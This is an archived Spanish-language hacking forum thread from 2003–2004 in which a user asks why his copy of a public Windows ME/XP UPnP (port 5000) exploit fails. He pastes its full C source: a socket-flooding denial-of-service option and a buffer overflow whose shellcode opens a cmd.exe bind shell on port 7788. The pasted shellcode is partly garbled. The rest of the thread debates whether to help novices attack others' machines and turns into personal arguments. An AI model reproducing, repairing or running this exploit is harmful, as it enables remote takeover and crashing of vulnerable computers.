PDA

Ver la versión completa : problemas con el exploit del puerto 5000



bl4ckf0x
02-11-2003, 12:39
Hola, necesito un poco de ayuda con respecto al exploit del puerto 5000. Resulta que tengo el susodicho exploit, y si no lo he entendido mal, se debe ejecutar pasando como parametros el host y la opcion -e para que nos devuelva una shell del sistema remoto. Pues bien, el caso es que me abre el puerto 7788 (como tiene que hacer con la opcion -e) pero no puedo conectar con la maquina para recibir la shell.

No se si el exploit esta mal o es q simplemente ninguna maquina es ya debil frente a este exploit. Me seria de gran ayuda que me contestarais por que me estoy currando el codigo en busca del fallo y quiza ya no valga el exploit por ser antiguo.

Gracias.

vyrkoff_666
11-11-2003, 21:17
Antes que nada, lo mas seguro, es que ya casi nadie sea vulnerable a este exploit, y sabes, yo una vez cuando salio compile uno o dos, pero tenian fallos , alo mejor estaban capados , los corregi, pero aun asi habia algunos fallos, me gustaria que me dijeras de donde lo bajaste o que me lo pasaras, para probarlo, bueno esperare tu respuesta...



:rolleyes: :rolleyes: :rolleyes:

bl4ckf0x
12-11-2003, 01:58
Este es codigo susodicho:

/*
* WinME/XP UPNP dos & overflow
*
* Run: ./XPloit host <option>
*
* Windows run the "Universal Plug and Play technology" service
* at port 5000. In the future this will allow for seemless
* connectivity of various devices such as a printer.
* This service have a DoS and a buffer overflow I exploit here.
*
* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
*
* Author: Gabriel Maggiotti
* Email: [email protected]
* Webpage: http://qb0x.net
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90

/************************************************** *************************/

int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;

unsigned char shellcode[] =
"x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90"
"x90x8bxc5x33xc9x66xb9x10x03x50x80x30x97x40xe2xfa"
"x7ex8ex95x97x97xcdx1cx4dx14x7cx90xfdx68xc4xf3x36"
"x97x97x97x97xc7xf3x1exb2x97x97x97x97xa4x4cx2cx97"
"x97x77xe0x7fx4bx96x97x97x16x6cx97x97x68x28x98x14"
"x59x96x97x97x16x54x97x97x96x97xf1x16xacxdaxcdxe2"
"x70xa4x57x1cxd4xabx94x54xf1x16xafxc7xd2xe2x4ex14"
"x57xefx1cxa7x94x64x1cxd9x9bx94x5cx16xaexdcxd2xc5"
"xd9xe2x52x16xeex93xd2xdbxa4xa5xe2x2bxa4x68x1cxd1"
"xb7x94x54x1cx5cx94x9fx16xaexd0xf2xe3xc7xe2x9ex16"
"xeex93xe5xf8xf4xd6xe3x91xd0x14x57x93x7cx72x94x68"
"x94x6cx1cxc1xb3x94x6dxa4x45xf1x1cx80x1cx6dx1cxd1"
"x87xdfx94x6fxa4x5ex1cx58x94x5ex94x5ex94xd9x8bx94"
"x5cx1cxaex94x6cx7exfex96x97x97xc9x10x60x1cx40xa4"
"x57x60x47x1cx5fx65x38x1exa5x1axd5x9fxc5xc7xc4x68"
"x85xcdx1exd5x93x1axe5x82xc5xc1x68xc5x93xcdxa4x57"
"x3bx13x57xe2x6exa4x5ex1dx99x13x5exe3x9exc5xc1xc4"
"x68x85xcdx3cx75x7fxd1xc5xc1x68xc5x93xcdx1cx4fxa4"
"x57x3bx13x57xe2x6exa4x5ex1dx99x17x6ex95xe3x9exc5"
"xc1xc4x68x85xcdx3cx75x70xa4x57xc7xd7xc7xd7xc7x68"
"xc0x7fx04xfdx87xc1xc4x68xc0x7bxfdx95xc4x68xc0x67"
"xa4x57xc0xc7x27x9bx3cxcfx3cxd7x3cxc8xdfxc7xc0xc1"
"x3axc1x68xc0x57xdfxc7xc0x3axc1x3axc1x68xc0x57xdf"
"x27xd3x1ex90xc0x68xc0x53xa4x57x1cxd1x63x1exd0xab"
"x1exd0xd7x1cx91x1exd0xafxa4x57xf1x2fx96x96x1exd0"
"xbbxc0xc0xa4x57xc7xc7xc7xd7xc7xdfxc7xc7x3axc1xa4"
"x57xc7x68xc0x5fx68xe1x67x68xc0x5bx68xe1x6bx68xc0"
"x5bxdfxc7xc7xc4x68xc0x63x1cx4fxa4x57x23x93xc7x56"
"x7fx93xc7x68xc0x43x1cx67xa4x57x1cx5fx22x93xc7xc7"
"xc0xc6xc1x68xe0x3fx68xc0x47x14xa8x96xebxb5xa4x57"
"xc7xc0x68xa0xc1x68xe0x3fx68xc0x4bx9cx57xe3xb8xa4"
"x57xc7x68xa0xc1xc4x68xc0x6fxfdxc7x68xc0x77x7cx5f"
"xa4x57xc7x23x93xc7xc1xc4x68xc0x6bxc0xa4x5exc6xc7"
"xc1x68xe0x3bx68xc0x4fxfdxc7x68xc0x77x7cx3dxc7x68"
"xc0x73x7cx69xcfxc7x1exd5x65x54x1cxd3xb3x9bx92x2f"
"x97x97x97x50x97xefxc1xa3x85xa4x57x54x7cx7bx7fx75"
"x6ax68x68x7fx05x69x68x68xdcxc1x70xe0xb4x17x70xe0"
"xdbxf8xf6xf3xdbxfexf5xe5xf6xe5xeexd6x97xdcxd2xc5"
"xd9xd2xdbxa4xa5x97xd4xe5xf2xf6xe3xf2xc7xfexe7xf2"
"x97xd0xf2xe3xc4xe3xf6xe5xe3xe2xe7xdexf9xf1xf8xd6"
"x97xd4xe5xf2xf6xe3xf2xc7xe5xf8xf4xf2xe4xe4xd6x97"
"xd4xfbxf8xe4xf2xdfxf6xf9xf3xfbxf2x97xc7xf2xf2xfc"
"xd9xf6xfaxf2xf3xc7xfexe7xf2x97xd0xfbxf8xf5xf6xfb"
"xd6xfbxfbxf8xf4x97xc0xe5xfexe3xf2xd1xfexfbxf2x97"
"xc5xf2xf6xf3xd1xfexfbxf2x97xc4xfbxf2xf2xe7x97xd2"
"xefxfexe3xc7xe5xf8xf4xf2xe4xe4x97x97xc0xc4xd8xd4"
"xdcxa4xa5x97xe4xf8xf4xfcxf2xe3x97xf5xfexf9xf3x97"
"xfbxfexe4xe3xf2xf9x97xf6xf4xf4xf2xe7xe3x97xe4xf2"
"xf9xf3x97xe5xf2xf4xe1x97x95x97x89xfbx97x97x97x97"
"x97x97x97x97x97x97x97x97xf4xfaxf3xb9xf2xefxf2x97"
"x68x68x68x68";
struct hostent *he;
struct sockaddr_in their_addr;


if(argc!=3)
{
fprintf(stderr,"usage:%s <hostname> <command>n",argv[0]);
fprintf(stderr,"-f freeze the machine.n");
fprintf(stderr,"-e exploit.n");
exit(1);
}


if(strstr(argv[2],"-f")) {
num_socks=FREEZE;
send_buffer=sendXP;
printf("Usando la opcion -f:\n");
}

if(strstr(argv[2],"-e")) {
printf("Usando la opcion -e:\n");
num_socks=1;
send_buffer=request;
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;
printf("paso 1");
for(i = 0; i < 268; i++)
jmpcode[i] = (char)NOP;

jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;

//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;
printf("paso 2");
for(i = 0; i < 32; i++)
execode[i] = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);
printf("paso 3");
snprintf(request, 2048, "%s%srnrn", jmpcode, execode);
printf("FIN");
}

if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}


/************************************************** *************************/

for(i=0; i<num_socks;i++)
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}


their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);



for(i=0; i<num_socks;i++)
if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}


for(i=0; i<num_socks;i++)
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
{
perror("send");
exit(0);
}


for(i=0; i<num_socks;i++)
close(sockfd[i]);


return 0;
}

Espero que puedas ayudarme.

nauj
15-02-2004, 20:46
Algunos codigos de los que se dejan a merced de cualquiera de nosotros para que los compilemos y podamos emplearlos tienen errores. De esta manera la persona que los proporciona se asegura que quien lo vaya a usar no sea una persona que no sabe nada, es decir, que por lo menos sepa algo de programación.

Algunas veces son cosas tan tontas como algun nombre de una variable o algo por el estilo.

Un saludo y a cuidarse todos,

unholy
16-02-2004, 12:07
joer, se lo podiamos a los newbies mas mascado todavia.,..... la verdad es que luego nos quejamos si se dice por si sale en las noticias que tal "hacker" (mas bien lammer) ha hecho esto o aquello y ha acabado pillado...

Deberiamos de tener mas cuidado a la hora de decir ciertas cosas, ya que no sabemos el uso que se va a hacer de ellas. No va por ti jocanor, es una reflexion a nivel general para todos....

Y si mldavid44 resulta (no tiene por que ser asi , no lo tomes a mal), lo que quiere es petar el ordenador de su jefe porque le ha echado una bronca, y por una casualidad (o descuido provocado pro la inexperiencia) le pillan ,,,... que pasa....

Pues lo de siempre, que estariamos todos diciendo que si los lammers tal, que si no era un hacker.. que si no tenia ni idea..... cuandio pienso que el problema comienza en nosotros mismos que damos este tipo de informacion

Perdonad por la parrafada, pero creo que es un tema interesante para ser debatido aqui, ya que pienso que deberiamos de ser un foro en el cual se asesore partiendo de una base, y no contestar a preguntas de este tipo, porque la veradd es que no nos llevan a nada.

Por desgracia, cada dia es mas frecuente en el foro la tipica pregunta de "... Le quieroreventar el ordenador a mi colega, amigo, hermano, novia....... y se que hay algo llamado xploit o bug...", lo peor es que le respondemos.....

bl4ckf0x
17-02-2004, 22:49
Espero que lo que has dicho unholy no vaya por mi, por que quiza no tengas razon. Es muy facil decir que alguien es un lammer, pero y tu? has demostrado que no lo eres para poder calificar a los demas con tanta facilidad? probablemente no llegues a los veinte años, y estes todo el dia encerrado en tu casa con el ordenador, sin esperanza de futuro, sin un trabajo siquiera. Para concluir, solo quiero decir que para responder tal post, mejor no digas nada, porque solo conseguieras respuestas como la mia.

Un saludo

juanma.m.d
18-02-2004, 15:31
blackfox mmm kiza una presona con menos de 20 años no necesite un trabajo , sino estudiar... tu respuesta ,a mi parecer, sobra

unholy
18-02-2004, 16:12
blackfox, para tu informacion tengo 30 años, y soy analista programador desde hace mas de 10,tengo novia, y no vivo con mis papis..... fijate por donde...

No se si sere un lammer, pero desde luego tu si que lo has demostrado, al no ser capaz de debuggear un programa hecho en C... No se si sera por vagueria o no, pero la imagen que has dado es la de un autentico lammer... te siente bien o mal, y la verdad es que creo que la gente que hay aqui esta para responder preguntas un tanto concretas, y no para debuggear programas o exploits que se han bajado de internet terceras personas que no saben como compilarlo o no quieren compilarlo (anda mira estra definicion se aproxima bastante a la de un lammer!!!))))


Estaria de acuerdo si la pregunta fuera... tengo este xploit que realiza un ataque de tal tipo aprovechando tal vulverabilidad, y una vez compilado me dice que el puerto n no puede ser alcanzdo por tal o cual razon.... eso si me pareceria bien, pero no pedir que otros hagan el trabajo que tu no sabes.....

Un saludo a todos.

unholy
18-02-2004, 16:18
Perdon , continuo, la verdad es que no me parecio mal tu primer mensaje, parecia que querias algo concreto, pero en el segundo es donde has dado la imagen que te he mencionado.

Ademas, si te das cuenta, desde el principio aviso de que no va por nadie en particular.... ten en cuenta que siempre habra alguien mejor que tu y que yo, y por supuesto que yo no me considero un super hacker, soy tan lammer como el que mas, por eso estoy aqui, para aprender de todos, y enseñar a alguno lo que se si lo necesita.....

Ademas, creo que eres de las pocas personas que han entrado aqui atacando ante una respuesta como la mia, que por cierto es una respuesta que han dado mas de una vez< diversos usuarios de hackhispano....

Pues eso, lo siento por la parrafada y perdon al resto de usuarios que han tenido que leerla.

Un saludo a todos

half
21-02-2004, 23:24
Particularmente yo empece en este sitio con una actitud totalmente lammer, lo reconozco, pidiendo passwords de hotmail y ñoñerias de esas, luego de un año sin visitar el foro entre nuevamente, pero en ese lapso he leido manuales, pregunte a mis amigos, me meti en el tema.... y todo por una respuesta como la de UNHOLY que me ha hecho recapacitar... "la verdad no duele pero ofende" y creo que eso te ha pasado a ti bl4ckf0x ojo!!! no te estoy agrediendo solo digo que a cada causa su efecto, yo como lammer (mi causa) y las cagadas a pedos de tse tse luk excalibur, (el efecto) ¿se entiende?. Bueno Chau!

TseTse
23-02-2004, 04:00
Escrito originalmente por unholy
analista programador
Hombre, uno de los mios ;) además tiene razón.

TseTse

unholy
23-02-2004, 09:15
Me alegro de tener cerca uno de los mios .. y gracias por darme la razon....

Un saludo

clarinetista
25-02-2004, 01:27
A mi me parece bien que no se de todo mascado, ya que si no nosotros no aprenderiamos nada(a mi se me esta olvidando el java, sin ir mas lejos).Es mejor y mas instructivo practicar con ayudas.
De todos maneras me gustaria matizar que lo de la letra con sangre entra, porque a mi todos me han respondido afablemente, a pesar de la estupidez o inmadurez de alguna de mis preguntas[creo que algunos de ustdes creen tovia que soy tia:-)].
Tambien debo decir que hay veces que las respuestas no son ofensivas, y pienso depende de la interpretacion que le demos.
He leido varios post de gente que se sulfura por sandeces, y lo he escrito aqui todo.NO sean niños...(yo sere de los mas jovenes)


PD: me queda año y medio para ser analista todavia,jeje

unholy
25-02-2004, 21:29
Pues animo y a por ello clarinetista, que con esas ganas que le pones seguro que l oconsigues pronto.

Tio, ojala todo le mundo que entrara aqui tuviera la misma actitud que tu....